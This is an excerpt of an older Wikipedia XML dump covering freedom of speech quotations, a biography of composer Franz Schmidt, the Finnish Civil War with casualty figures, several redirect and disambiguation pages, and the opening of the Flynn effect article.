{{main_article|[[Internet censorship in mainland China]]}}

==Issues raised by involuntary commitment==
A small minority has questioned whether [[involuntary commitment]] laws, when the diagnosis of [[mental illness]] leading, in whole or in part, to the commitment, was made to some degree on the basis of the speech or writings of the committed individual, violate the right of freedom of speech of that individual, in jurisdictions where that is relevant.

==Quotations==
*&quot;I disapprove of what you say, but I will defend to the death your right to say it&quot;. [[Evelyn Beatrice Hall]] writing as S.G. Tallentyre in [[1906]] (Commonly attributed to [[Voltaire]] of whom Hall wrote a biography).
*&quot;If liberty means anything at all it means the right to tell people what they do not want to hear.&quot; - [[George Orwell]]
*&quot;...When compared with the suppression of [[anarchism|anarchy]] every other question sinks into insignificance. The anarchist is the enemy of humanity, the enemy of all mankind, and his is a deeper degree of criminality than any other. No immigrant is allowed to come to our shores if he is an anarchist; and no paper published here or abroad should be permitted circulation in this country if it propagates anarchist opinions.&quot; [[Theodore Roosevelt]], [[1908]]
*&quot;The principle of free thought is not free thought for those who agree with us but freedom for the thought we hate.&quot; [[Supreme Court of the United States|US Supreme Court]] Justice [[Oliver Wendell Holmes, Jr.|Oliver Wendell Holmes]] in ''[[United States v. Schwimmer]]'' ([[1929]]).
*&quot;[[Goebbels]] was in favor of free speech for views he liked. So was [[Stalin]]. If you're in favor of free speech, then you're in favor of freedom of speech precisely for views you despise. Otherwise, you're not in favor of free speech.&quot; [[Noam Chomsky]], ''[[Manufacturing Consent: Noam Chomsky and the Media]]'' (1992).
*&quot;...if any opinion is compelled to silence, that opinion may, for aught we can certainly know, be true. To deny this is to assume our own infallibility.&quot; [[John Stuart Mill]], ''[[On Liberty]]'' (1859).
*&quot;In a free state, tongues too should be free.&quot; [[Erasmus]], ''[[The Education of a Christian Prince]]'' (1516).
*&quot;Aren't people absurd! They never use the freedoms they do have, but demand those they don't have; they have freedom of thought, they demand freedom of speech.&quot; [[Søren Kierkegaard]], ''Diapsalmata, [[Either/Or]]'' (1843).
*&quot;The price of freedom of religion, or of speech, or of the press, is that we must put up with a good deal of rubbish.&quot; [[Robert H. Jackson]]

== See also ==
* [[Copyleft]]
* [[Copyright]]
* &quot;[[Fighting words]]&quot;
* [[Free content]]
* [[Freedom of information]]
* [[Media transparency]]
* [[Parrhesia]]
* [[Support Denmark Movement]]

== Research Resources ==
* [[First Amendment Library]]
* [[International Freedom of Expression Exchange]]

== External links ==

*[http://www.ifex.org The International Freedom of Expression Exchange]
*[http://www.article19.org ARTICLE 19, Global Campaign for Free Expression]
*[http://www.oas.org/OASpage/humanrights.htm Organization of American States - Special Rapporteur for Freedom of Expression]
*[http://www.osce.org/fom/ Organization for Security and Cooperation in Europe - Representative on Freedom of the Media]
*[http://www.ohchr.org/english/issues/opinion/index.htm United Nations - Special Rapporteur on the promotion and protection of the right to freedom of opinion and expression]
*[http://www.unesco.org/webworld/fed UNESCO - Freedom of Expression]
*[http://www.iww.org/en/culture/articles/zinn13.shtml IWW free speech struggles] 

[[Category:Freedom of expression|*]]

[[ar:حرية الرأي والتعبير]]
[[da:Ytringsfrihed]]
[[de:Meinungsfreiheit]]
[[et:Sõnavabadus]]
[[es:Libertad de expresión]]
[[fr:Liberté d'expression]]
[[ko:표현의 자유]]
[[it:Libertà di parola]]
[[he:חופש הביטוי]]
[[lv:Vārda brīvība]]
[[nl:Vrijheid van meningsuiting]]
[[ja:表現の自由]]
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[[pl:Wolność słowa]]
[[pt:Liberdade de expressão]]
[[ru:Свобода слова]]
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  <page>
    <title>Free speech</title>
    <id>11766</id>
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      <id>15909490</id>
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      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Freedom of speech]]
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  </page>
  <page>
    <title>Frederick I Barbarossa</title>
    <id>11767</id>
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      <id>32955951</id>
      <timestamp>2005-12-28T04:16:06Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Francis Schonken|Francis Schonken]] ([[User talk:Francis Schonken|talk]]) to last version by David Parker</comment>
      <text xml:space="preserve">#REDIRECT [[Frederick I, Holy Roman Emperor]]</text>
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  </page>
  <page>
    <title>Franz Schmidt</title>
    <id>11768</id>
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      <id>33769360</id>
      <timestamp>2006-01-03T22:11:23Z</timestamp>
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        <ip>195.210.215.120</ip>
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      <text xml:space="preserve">'''Franz Schmidt''' ([[December 22]], [[1874]] &amp;ndash; [[February 11]], [[1939]]) was an [[Austria|Austrian]] [[composer]], cellist and pianist.

Schmidt was born in [[Bratislava]] (at that time called Pressburg: now in [[Slovakia]]). He briefly studied [[piano]] with [[Theodor Leschetizky]], with whom he clashed. He moved to [[Vienna]] with his family in 1888, and studied at the Conservatory there (composition with [[Robert Fuchs]], [[cello]] with [[Ferdinand Hellmesberger]] and theory with [[Anton Bruckner]]), graduating &quot;with excellence&quot; in 1896. He beat 13 other applicants in obtaining a post as cellist with the Vienna Court Opera Orchestra, with whom he played, often under [[Gustav Mahler|Mahler]], until 1914. Mahler would habitually have all the cello solos played by Schmidt, even though [[Friedrich Buxbaum]] was actually the principal cellist. Schmidt was also in demand as a chamber musician, playing in the string quartet led by [[Arnold Schoenberg]]’s close friend [[Oskar Adler]], who also became Schmidt’s doctor: Schmidt and Schoenberg maintained cordial relations despite their vast differences in style. In 1914 he took up a professorship (in piano) at the State Academy of Music. In 1925 he became Director of the Academy, and in 1927 Rector. Schmidt's worsening health forced his retirement from the Academy in early 1937. He died on [[11 February]] [[1939]].

As a composer, Schmidt was slow to develop, but his reputation, at least in Austria, saw a steady growth from the late 1890s until his death in 1939. Schmidt worked mainly in large forms, including four [[symphony|symphonies]] (1899, 1913, 1928 and 1933) and two [[opera]]s: ''Notre Dame'' (1904-6) and ''Fredigundis'' (1916-21). He also composed two [[string quartet]]s (1925, 1929), a [[piano quintet]] (1926) and two quintets for [[clarinet]], [[string trio]] and piano (left hand) (1932, 1938); ''Concertante Variations on a Theme of [[Ludwig van Beethoven|Beethoven]]'' for piano (left hand) and orchestra (1923); a [[piano concerto]] (1934); ''Variations on a Hussar's Song'' for orchestra (1930); a quantity of important [[organ (music)|organ]] music, including the [[Prelude (music)|Prelude]] and [[Fugue]] in E flat (1924), the [[Toccata]] (1924), the [[Chaconne]] (1925, orchestrated 1931) and the Prelude and Fugue in C (1927). His crowning achievement was the [[oratorio]] ''Das Buch mit sieben Siegeln'' (The Book with Seven Seals)(1935-37), a setting of the [[Book of Revelation]] although the Intermezzo from ''Notre Dame'' and the Fourth Symphony are probably his best known works.

In his music, Schmidt continued to develop the Viennese classic-romantic traditions he inherited from Schubert, Brahms and his own master, Bruckner. He also takes forward the exotic ‘gypsy’ style of Liszt and Brahms. His works are monumental in form and firmly tonal in language, though quite often innovative in their designs and clearly open to some of the new developments in musical syntax initiated by Mahler and Schoenberg.

The later stages of Schmidt’s life were shadowed by tragedy. He was plagued by numerous serious illnesses, by the death of his beloved daughter, and by the collapse of his first marriage (his wife was confined to a mental hospital and later eliminated under the Nazi euthanasia laws). Schmidt himself experienced a spiritual and physical breakdown after these events, but achieved an artistic revival and solution to this crisis in his Fourth Symphony of 1933 and, especially, his oratorio. It seems, however, that like many of his contemporaries Schmidt was an enthusiast for the cause of a ‘Greater Germany’ and failed to understand the dangers inherent in the rise of Hitler. He was cynically lauded by the Nazis and at the triumphant premiere of his oratorio, shortly after the Anschluss, he was seen to give the Nazi salute. His last, unfinished work was a cantata honouring the new order. These facts long placed his posthumous reputation under a cloud; yet his lifelong friend and colleague Oskar Adler, who fled the Nazis in 1938, wrote afterwards that Schmidt was never a Nazi and never anti-semitic but simply extraordinarily naïve about politics. [[Hans Keller]] proffered similar endorsement. Most of his principal musical friends were Jews, and they benefited from his generosity. It might also be said that, whatever his personal naïvety in these matters, Schmidt’s music was realistic, and prophetic: ''Das Buch mit sieben Siegeln'' is now seen to foretell, in the most powerful terms, the disasters that were shortly to be visited upon Europe in the Second World War. Here his invention rises to a sustained pitch of genius: the work may be seen as the last majestic representative of the great Austro-German oratorio tradition stretching back through Brahms and Bruckner to the masses of Haydn and Bach and the oratorios of Handel. It owes much, too, to such choral symphonies as Mahler’s Eighth and Beethoven’s Ninth.

Schmidt is generally, if erroneously, regarded as a conservative composer, but the [[rhythmic]] subtlety and [[harmony|harmonic]] complexity of much of his music belie this. His music is modern without being modernist, combining a reverence for the great Austro-German lineage of composers with very personal innovations in harmony and [[orchestration]]. The considerable technical accomplishment of his music ought to compel respect, but he seems to have fallen between two stools: his works are too complex for the conservatively-minded, yet too obviously traditional for the avant-garde (they are also notoriously difficult to perform). Since the 1970s his music has enjoyed a modest revival which looks set to continue as it is rediscovered and re-evaluated.

== References ==
*Thomas Bernard Corfield - ''Franz Schmidt (1874-1939) - A Discussion of His Style With Particular Reference to the Four Symphonies and 'Das Buch mit sieben Siegeln'' (Garland Publishing, New York, 1989)
*Harold Truscott - ''The Music of Franz Schmidt - 1: The Orchestral Music'' (Toccata Press, London, 1984)

[[Category:Romantic composers|Schmidt, Franz]]
[[Category:20th century classical composers|Schmidt, Franz]]
[[Category:Austrian composers|Schmidt, Franz]]
[[Category:1874 births|Schmidt, Franz]]
[[Category:1939 deaths|Schmidt, Franz]]

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  <page>
    <title>Free beer</title>
    <id>11769</id>
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      <timestamp>2005-07-05T05:42:00Z</timestamp>
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        <username>Natalinasmpf</username>
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      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Gratis versus Libre]]</text>
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  <page>
    <title>Freedom of beer</title>
    <id>11770</id>
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      <id>15909494</id>
      <timestamp>2005-06-24T01:05:46Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
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      <minor />
      <comment>fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Gratis versus Libre]]</text>
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  </page>
  <page>
    <title>Fucking</title>
    <id>11771</id>
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      <id>41139874</id>
      <timestamp>2006-02-25T07:54:09Z</timestamp>
      <contributor>
        <ip>4.228.123.138</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|fucking}}
'''Fucking''' ([[slang]]) may refer to [[sexual intercourse]] or:

* A village in Upper Austria; see [[Fucking, Austria]].
* The word &quot;fucking&quot; is also used to show extreme emotion, for example, &quot;I don't fucking care!&quot; &quot;Who gives a Fuck&quot;, or &quot;I don't like what the fuck is going on here&quot;; see [[Fuck]].
{{disambig}}</text>
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  </page>
  <page>
    <title>Finnish Civil War</title>
    <id>11772</id>
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      <contributor>
        <username>Small Profit</username>
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      </contributor>
      <comment>Improved writing.</comment>
      <text xml:space="preserve">The '''Civil War in Finland''' was fought from January to May [[1918]], between the &quot;Reds&quot; ''(punaiset),'' i.e. [[Social Democratic Party of Finland|Social Democrats]] together with [[Communist Party of Finland|Communists]], and the &quot;Whites&quot; ''(valkoiset),'' i.e. forces commanded by the [[Conservative]] [[Senate of Finland|Senate]] that in the preceding autumn had succeeded a [[National Unity Government|National Unity Senate]], intending to maintain the [[status quo]] (retain [[independence]] and [[constitutional monarchy]] without [[parliamentarism]]).

[[Finns]] have many names for this conflict: ''vapaussota'' ('''War of Liberty'''), ''kansalaissota'' ('''Citizens War''') or ''sisällissota'' ('''Civil War'''), ''luokkasota'' ('''Class War'''), ''punakapina'' ('''Red Rebellion'''), ''torpparikapina'' ('''Crofters' Rebellion'''), ''veljessota'' ('''the war between brothers''') even ''vallankumous'' ('''Revolution'''). Present-day historians point out that all of these different names have their merits, although their [[propagandist]] charges differ.

The Civil War and the [[Continuation War]] have been the two most controversial and emotionally loaded events in the history of modern [[Finland]]. They are often seen as the hinges or pivots of Finland's fate; both have also had a great influence on the [[foreign relations of Finland]].

== Background ==
[[Image:Peasants in finland.jpg|thumb|270px|'''Peasants on the field'''. Propertyless peasants, who worked rented farms and paid their rent through work, were people who had no political influence in the political system run by the estates.]]

The background of the Civil War can be traced to political polarization caused by the major conflict between Imperial Russia and the [[autonomy|autonomous]] [[Grand Duchy of Finland]], which commenced in [[1889]] as an outcome of Russian [[Pan-Slavism]], and was intensified in [[1899]] with the attempted [[Russification of Finland]]. As one consequence Finland's [[army]] was abolished.

Until then, Finland's Senate had successfully pursued a Conservative-Loyalist policy towards Russia, aiming at securing Finland's vital national interests through domestic autonomy. It was widely recognized that &quot;the people&quot; must be diverted from [[radicalism|radical]] outbursts, which could disturb the Imperial court in [[Saint Petersburg, Russia|Saint Petersburg]]. As this policy collapsed, both the Left and the Right started to radicalize.

The Rightist radicalization was in response to attempts at Russian cultural and constitutional hegemony, and would ultimately lead to [[Finnish Jäger troops|covert collaboration]] with [[Imperial Germany]], which had emerged as a new [[Great Power]] in the [[Baltic region]] after its [[1871]] unification.

The [[Leftist]] radicalization was chiefly a reaction to the emergence and growth of a propertyless [[peasant]]ry, without land of their own to cultivate (''Torpparit''). The Finns had no traditional experience of this, as they were used to being a people of poor but independent [[farmer]]s with no lords other than the [[Monarch|king]] and his [[civil service|civil servants]]. In addition the [[Industrial Revolution]] had started to affect southern Finland. It was a good time for trade, and the rift between [[wealth|rich]] and [[poverty|poor]] widened.

Public opinion was dominated by the educated classes, and had during the [[19th century]] become used to seeing Finland's problems in terms of culture, language, education and the [[Constitution]]. The threat from the common enemy, Russia, veiled the deepening rift between the classes, but when the Russian oppression was mitigated, a frightening conflict surfaced.

=== The General Strike (1905) ===
Tensions during Russia's failed [[Russo-Japanese War|war against Japan]] led, among other things, to a [[general strike]] in [[1905]], during which &quot;Red&quot; ([[Socialist]]) [[Red Guards (Finland)|&quot;Protection Guards of Workers&quot;]] (''Punakaarti'') and &quot;White&quot; (anti-Socialist) [[White Guard (Finland)|Protection Guards]] (''Suojeluskunnat'') were organized. The White and Red Guards were typically disguised as fire-brigades, which became a matter of great national concern in Finland.

In an attempt to quell the general unrest, [[universal suffrage]] was introduced. This soon led to near 50% turnouts for the [[Social Democratic Party of Finland|Social Democrats]], but no improvements for their voters, as legislation was &quot;shared&quot; between the Parliament and the Russian [[Tsar]] (in his role as [[Grand Duke]] of Finland). The legacy of the 19th century was the widespread belief that Finland's interests were best served by the [[status quo]].

=== The February Revolution (1917) ===
[[Image:General Strike Helsinki 1917.jpg|thumb|220px|'''On strike in Helsinki, 1917'''. Workers demanded food and a complete shifting of legislative power from the Russian government to the Finnish parliament.]]

Though the first violent clash between [[Red Guards (Finland)|Red]] and [[White Guard (Finland)|White]] Guards had begun in July [[1906]] in [[Helsinki]], renewed Russian oppression had a unifying effect on the Finns and delayed more serious conflict until after the [[February Revolution]] in Russia [[1917]].

After the general elections of [[1916]], when the Social Democrats had gained an [[absolute majority]] in the [[Parliament of Finland]], the [[Senate of Finland|Finland's Senate]] was a broad coalition-[[cabinet]] led by [[Oskari Tokoi]], [[Social Democratic Party of Finland|Social Democrat]] and [[labor union|trade Union]] leader. His cabinet's attempt to gain increased [[autonomy]] failed however. According to the [[Left-wing politics|Left wing]], this was chiefly due to secret resistance from the non-Socialists and their collaboration with the [[revolution]]ary but &quot;[[bourgeois]]&quot; [[Russian Provisional Government, 1917|Provisional Government]] under [[Aleksandr Kerensky]] in [[Saint Petersburg]].

The Senate's view was that the [[personal union]] with Russia ended when the [[Tsar]] was dethroned. They expected the Tsar's authority to be transferred to Finland's Parliament, which the Provisional Government of Russia could not accept.

The non-Socialists in the Senate were less than enthusiastic about the Senate's bill (the so-called &quot;Power Act&quot;) enacted by the Parliament in July [[1917]], (particularly with regard to its content on [[Parliamentarism]], on which the Social Democrats had insisted), deeming it both too far-reaching and provocative for Saint Petersburg, but also too radical and dangerous for Finland. The bill restricted Russia's influence on domestic Finnish matters, but didn't touch the Russian government's power on matters of defence and foreign affairs. For the [[Russian Provisional Government]] this was, as expected, far too radical. The Parliament was dissolved, and new elections were announced.

Thus it turned out, that from the point of view of the poorest Finns, Oskari Tokoi's Senate's attempt was as much of a failure as universal suffrage had been. Large numbers starved, and [[unemployment]] was bad and getting worse. [[Democracy]] didn't seem to offer a solution to these problems. Political violence increased during the following election campaign conducted by what their adversaries labeled  &quot;Rogue Reds&quot; and &quot;White Butchers&quot; respectively. Subsequently the Left lost their [[absolute majority]] in the Parliament.

Finland's autonomy had been restored by the Provisional Government of Russia, but in the process the [[police]] force in Finland was virtually abolished. In this situation some of the old &quot;fire-brigades&quot; were revived, simply as an answer to insecurity and lawlessness. General fear was widespread, but the relations between Reds and Whites were still reasonable in many places in Finland. [[White Guard (Finland)|White Guards]] were organized by leaders of the local societies, usually Conservative academics and industrialists, while the Reds were often collectively invited through their employers or their local labor union.

=== The October Revolution (1917) ===
[[Lenin]]'s [[Bolshevism|Bolshevist]] [[October Revolution]] ignited hopes also in the Grand Duchy. The polarization and mutual fear between the Left wing and the Right wing had increased dramatically. About 30 political [[assassination]]s were reported. After the general elections a purely non-Socialist cabinet was appointed, which felt squeezed between increasingly revolutionary [[Socialist]]s at home and aggressive [[Bolsheviks]] in [[Petrograd]] who were close to Finland's border in the southeast. Numerous Russian troops stationed in Finland made a bad situation worse, as they too were excited by the revolutionary frenzy, which they called their ''&quot;svoboda&quot;'' ('freedom'). Aggravating all of this was another [[general strike]] in Finland.

The ''svoboda'' appeared to the Finns as merely the Russian military going out of control. They often looted, were frequently intoxicated, generally acted violently and occasionally executed their own officers. In the virtual absence of police forces or militarily trained Finnish troops, the ''svoboda'' prompted the revival and creation of numerous [[White Guard (Finland)|White Guards]]. These Guards were local units, set up by local initiative. Some had roots in the &quot;Security Guards&quot; established during the General Strike of 1905, but it was the ''svoboda'' of the Russian troops which prompted the establishment of the majority of the White Guard.

After the October Revolution the roles of Finland's two major political forces were reversed. Now it was the non-Socialists who were eager for maximal autonomy (or [[independence]] from Russia) and the Social Democrats who believed the Bolshevists to be possible allies against the &quot;[[capitalist]] oppressors.&quot; The Senate, led by the Finnish national hero [[Pehr Evind Svinhufvud]], proposed a [[Finland's declaration of independence|Declaration of Independence]], which the Parliament adopted on [[December 6]]th, [[1917]].

=== The Social Democrats and the revolution ===
The strained political situation deteroriated during 1917. Finland saw agricultural strikes, skirmishes over food and inflation, local strikes intended to support or influence local government, and finally the aformentioned [[general strike]] in November. The leadership of the Social Democratic Party could not control this increasingly violent mass movement, and popular support swung between parliamentary and extra-parliamentary action. Ever since [[1906]], the parliamentary road had proved disappointing, and after the October Revolution the Russian revolutionary leadership pressed the Finnish Social Democrats to seize power. The Social Democratic party was accused of ineffectiveness within Finland and from Saint Petersburg.

On [[November 16]], during the general strike, the newly formed ''Workers' Revolutionary Central Council'' voted to seize power by a narrow majority, but the supreme revolutionary organ, the [[executive committee]], could not recruit qualified members, and the [[revolution]] had to be called off. The organization of ''Red Guards'' surged, although the enthusiasm soon waned as the general strike and the revolution came to nothing. The initiative was seized by the Revolutionary Central Council, which comprised the trade unions and the Social Democratic Party; though, by this time the party leadership had lost much of their credibility and authority &amp;mdash; initially due to the party's failure to gain any political advantage from their majority in parliament.

''White Guards'' had been organized throughout the year of 1917, and in December numbered nearly 40,000. In response, the organization of ''Red Guards'' was stepped up in November, and numbered nearly 30,000 at the end of the year. After [[Finland's declaration of independence]] the parliament empowered the [[Senate of Finland|Senate]] on [[January 12]], [[1918]] to create a &quot;strong police authority.&quot; Soon it became obvious that this was a move towards legalising the White Guards while excluding the ''Red Guards'' and others that sympathized with the Social Democrats (who now constituted the opposition in parliament with almost 50% of the votes and seats). On [[January 25]], the Senate decreed the ''White Guards'' to be troops of Finland's government, and the point of no return was passed. Many leading Social Democrats joined in when the war broke out independently in three different towns, but formally the rebellion was not supported by the executive organs of the party.

The [[Finnish Socialist Workers' Republic]]'s programme and draft constitution, written by [[Otto Ville Kuusinen]], was heavily influenced by the Social Democrats; it was also inspired by the generally [[Liberalism|liberal]] ideas of the [[United States Declaration of Independence]], and the [[Switzerland|Swiss]] cantonal system. The main goal was social reform, and the declared means to achieve this was [[parliamentarism|parliamentary democracy]] based on the principle of [[sovereignty]] of the people and of [[national self-determination]]. Bolshevist thoughts such as [[dictatorship of the proletariat|proletarian dictatorship]] and massive [[socialization]] were not parts of their programme. The rebellion in Finland thus differed from the October Revolution and from the various uprisings on the European continent that followed [[World War I|the world war]], e.g., [[Béla Kun]]'s revolt in Hungary, the [[Spartacists]] in Berlin, and the &quot;[[Bavarian Soviet Republic]].&quot;

== Conflict ==
[[Image:Suojeluskunta.jpg|thumb|220px|'''White Guard in Nummi'''. White Guards became the white army through a senate decision on 25.01.1918. The red leadership ordered the mobilization of Red Guards on 27.01.1918.]]

The Reds were alarmed by the government's decision to employ the [[White Guard (Finland)|White Guards]] as the nucleus of a national army and to use &quot;the Butchers&quot; -- as the Left described them -- to disarm the 40,000 Russian troops that remained in Finland, since the Left believed that Red Finns would also be targeted.

The first serious battles were on the night of [[January 19]], followed by the Senate's declaration on [[January 25]] transforming the White Guards into the Army of Finland, and on [[January 26]] the order of rebellion was issued. [[Bolshevist Russia]] had already declared its intention to support the new [[Finnish Socialist Workers' Republic]]. The Reds seized control of the capital, [[Helsinki]], in the early hours of [[January 28]], and members of the [[Senate of Finland]] were relocated to the city of [[Vaasa]] on the Finnish west coast, where the [[White Guard]]s had a strong position and the contacts to the west were good. Vaasa acted as the capital of (white) Finland from [[29 January]] to [[3 May]].

It is often pointed out that leaders of the White and the Red sides acted independently of each other in these final days, and that, in a way, it was coincidental that the White Army was formally established on the very same day that the Red rebellion commenced. It is also obvious that the leaders acted without any formal democratic authorization, but on the other hand, their judgement was generally respected within their respective factions and met with no articulated opposition from within them. In other words, the process leading to the Civil War was more of a general distrust between Reds and Whites, and less dependent on the particular events at the end of January 1918.

The last stages of [[World War I]] were still being fought in central Europe at the time, and both Bolshevist Russia and [[Imperial Germany]] had their own interests in Finland.

Many Whites feared that the Russian troops would take the side of the Reds. The Russian Bolshevik government now also expressed support for the Reds, despite their official recognition of Finland's independence only three weeks before, because they wanted the Communist [[World Revolution]] to continue in Finland.

[[Image:Tampere war victims 1918.jpg|thumb|270px|'''Unburied bodies''' – outcome of the Battle of Tampere]]

The White side was dominated by [[middle class]] &quot;activists&quot; &amp;mdash; members of Finland's pro-German independence movement. As far as they were concerned, close contact with communist Russia was tantamount to forfeiture of the recently won independence. They were also influenced by [[Germany|German]] interests, because Germany had secretly given assistance, including the volunteer [[Finnish Jäger troops|&quot;Jäger&quot; troops ''(Jääkärit)'']] that had been secretly trained in Germany during [[the Great War]].

The Whites regrouped in the northern and central parts of the country, under the political leadership of the initially absent president of the Senate [[Pehr Evind Svinhufvud]] and the military command of [[Carl Gustaf Emil Mannerheim|Mannerheim]].

Initially, both sides of the conflict would agree to [[rules of engagement]]. The turning point was the [[Suinula massacre]] early in the war. A troop of White Guard men had managed to escape from Red-controlled Tampere on [[January 1]]. They captured the Aitolahti people's hall in nearby Suinula the following day. A Red detachment was sent from Tampere, and this detachment of 300 riflemen quickly overpowered the Whites and imprisoned them, with promises not to harm them. However, a backup force of 200 was sent from Tampere, and their leader Hyrskymurto had given the order not to take prisoners. When they arrived a Russian trooper hit one of the prisoners with a sword, prompting Hyrskymurto gave the order to shoot the captures troops. Only 15 men escaped alive, out of which only 5 made it all the way back to White territory. After this incident the Whites took revenge with similar shootings, and escalation of violence leading to massacre and terrorism began.

The Reds' situation in the south worsened after the arrival of [[Finnish Jäger troops|White Jäger troops]] on [[February 25]] and the subsequent withdrawal of Russian forces according to the [[Treaty of Brest-Litovsk]] ([[March 3]], [[1918]]).

White forces launced a counterattack in &quot;The Tampere Operation&quot; on [[March 15]], lasting until [[April 6]] when they captured [[Tampere]] seizing 10,000 Red prisoners. This was a determining factor indicating that the Civil War might be won by the Whites, as it meant a strategically important bridge-head was taken.

On [[April 3]], German troops landed at [[Hanko]] in support of the Whites, advanced rapidly eastward and took Helsinki on [[April 13]]. This was followed by another Red defeat at [[Vyborg|Viipuri]] on [[April 28]]-[[April 29|29]], and the last Red strongholds fell by [[May 7]].

== Outcome ==
{| border=1 cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;text-align: right;&quot;
|- 
! colspan=&quot;5&quot; style=&quot;background-color: #cfcfcf; text-align: center;&quot; | Lives Lost 
|- style=&quot;background-color: #dfdfdf;&quot;
! style=&quot;text-align: left;&quot; | Reason !! Reds !! Whites !! Other !! Total
|-
| style=&quot;text-align: left;&quot; | Killed in action
| 5,199
| 3,414
| 790
| 9,403
|-
| style=&quot;text-align: left;&quot; | Executed, shot or murdered
| 7,370
| 1,424
| 926
| 9,720
|-
| style=&quot;text-align: left;&quot; | Concentration Camp deaths
| 11,652
| 4
| 1,790
| 13,446
|-
| style=&quot;text-align: left;&quot; | Died after release from camp
| 607
| -
| 6 
| 613
|-
| style=&quot;text-align: left;&quot; | Missing
| 1,767
| 46
| 380
| 2,193
|-
| style=&quot;text-align: left;&quot; | Other causes
| 443
| 291
| 531
| 1,265
|-
! style=&quot;text-align: left;&quot; | Total
! 27,038
! 5,179
! 4,423
! 36,640
|-
| colspan=5 style=&quot;text-align: left;&quot; | &lt;small&gt;''Source: [http://vesta.narc.fi/cgi-bin/db2www/sotasurmaetusivu/stat2 National Archive]''&lt;/small&gt;
|}

[[Image:Civil War Prison Camp in Helsinki.gif|thumb|270px|'''Prisoner Camp in Suomenlinna, Helsinki'''. More than eleven thousand people died in such camps due to hunger, disease, and executions.]]

The civil war had ended, but it left Finnish society divided into two groups. A &quot;Red terror&quot; campaign against the right wing was followed by a &quot;White terror&quot; against supporters of the revolutionary movement. Disease, hunger, and maltreatment killed thousands detained in [[concentration camp]]s. The conflict and its immediate aftermath are believed to have killed more than 30,000 out of a population of three million.

In addition, an unknown number of Red children were orphaned or sent into foster care as their parents were either interned (there were as many as 75,000 Red internees) or deemed unfit to raise patriotic children for an independent Finland.

Many Red children suffered from the social stigma of being representatives of the defeated treacherous proletariat. These feelings were especially strong in the children that were separated from their parents.

A large number of Finnish Reds fled to Russia at the end of the Civil War and in the years shortly thereafter. Most of them were lost in [[Stalin]]'s [[Great Purges]]. The exact number is unknown.

While the Whites celebrated the &quot;War of Independence&quot; against Russia and Bolshevism, the Left refused for many years to participate in commemorations of Finland's pre-Civil War independence. The Communist Party was outlawed in [[1923]] and [[1930]], while the Social Democrats remained in opposition for most of the inter-war period. Svinhufvud became president ([[1931]]-[[1937]]) on a platform of keeping Social Democrats out of the Cabinet.

Finland, the first Nordic (and European) country to adopt true [[universal suffrage]] became the last to adopt [[parliamentarism]].

The Civil War and pre-war polarization lead (directly and indirectly) to Finland developing a mentality more like 19th century Prussia, with the military forces and conservative ideologies having earned great prestige for their success. This was highly unlike other Scandinavian countries where popular movements and liberal ideologies had won modern democracy.

The polarization would remain in Finland for a long time, and would put its clear mark on Finland's foreign policies. Consensus was established for the major goal, namely Finland's maximal independence, but Finland's foreign affiliations changed frequently: Imperial Germany in [[1918]], then the victorious [[Entente]], to [[Poland]] ([[1922]]), then the [[League of Nations]], again towards Germany (from [[1931]]), Scandinavia ([[1934]]), demonstrably against [[Nazi]] Germany ([[1937]]), intense courting of Nazi Germany (in [[1940]]), and finally involuntary but necessary accommodation to the [[Soviet Union]] after [[1944]] balanced by intensified Scandinavian relations.

Another legacy of the Civil War was an anti-democratic and anti-parliamentarian current which remained in public opinion and was particularly popular [[Academic Karelia Society|among academic youth]] until the end of the [[Continuation War]] when such utterances became dangerous. One further result was the [[Lapua Movement]] of the late [[1920s]], which was a reaction to the increased popularity and threatening influence of &quot;Socialists&quot; (reformist Social Democrats). However, after the Lapua Movement's failed ''[[coup d'état]]'' in [[1932]], the anti-parliamentarians lost much of their popularity and could no longer dominate: neither in any major political party, nor in the public debate.

Before the Civil War, the Scandinavian countries had been the first to recognize Finland's independence. After the Civil War relations cooled -- mutually. When Finland, in the mid-[[1930s]], again oriented towards Scandinavia, the reception was less enthusiastic than the Finns had expected and ultimately Finland had to fight the [[Winter War]] on her own. Bitter debate followed: was this coolness typical of the Scandinavian countries, or was it an unfortunate consequence of the impression the nations had gained from Finland's Civil War and its aftermath?

== See also ==
{{Commons|Category:Finnish Civil War}}
* [[Winter War]]
* [[Continuation War]]
* [[Finnish War]]
* [[History of Finland]]
* [[List of Finnish wars]]
* [[Lotta Svärd]]
* [[Carl Gustaf Emil Mannerheim]]

[[Category:Civil wars]]
[[Category:Wars of Finland|Civil War]]

[[de:Finnischer Bürgerkrieg]]
[[nn:Den finske borgarkrigen]]
[[fi:Suomen sisällissota]]
{{Link FA|fi}}
[[sv:Finska inbördeskriget]]</text>
    </revision>
  </page>
  <page>
    <title>Flynn effect</title>
    <id>11773</id>
    <revision>
      <id>39580532</id>
      <timestamp>2006-02-14T12:27:24Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate from {{journal reference}} to {{cite journal}}</comment>
      <text xml:space="preserve">The '''Flynn effect''' is the continued year-on-year rise of [[IQ]] test scores, an effect seen in most parts of the world, although at greatly varying rates. It is named after [[New Zealand]] [[political scientist]] [[James R. Flynn]], its discoverer. The average rate of rise seems to be around three IQ points per decade. Attempted explanations have included improved nutrition, a trend towards smaller families, better education, greater environmental complexity, and [[heterosis]] (Mingroni, 2004).

The Flynn effect is a perplexing phenomenon for those who believe that IQ tests represent a true measure of human [[intelligence (trait)|intelligence]], as it would suggest that people today are in general considerably more intelligent than those of previous generations. Flynn himself does not believe this to be the case. It is conceivable that something about modern society is responsible, e.g the greater need for abstract thinking, presence of computers, more visually-oriented culture.

==Proposed explanations==
Better [[nutrition]] has been proposed as a factor. However, there is evidence from [[Scandinavia]]n countries that IQ scores rose even more, 20 points per generation, following the austerity of occupation during [[World War II]].  Another possible explanation is that people are maturing faster, so that, for example, a ten-year-old today may have the mental age that a twelve-year-old had sixty years ago, although this may also be ultimately due to nutrition.

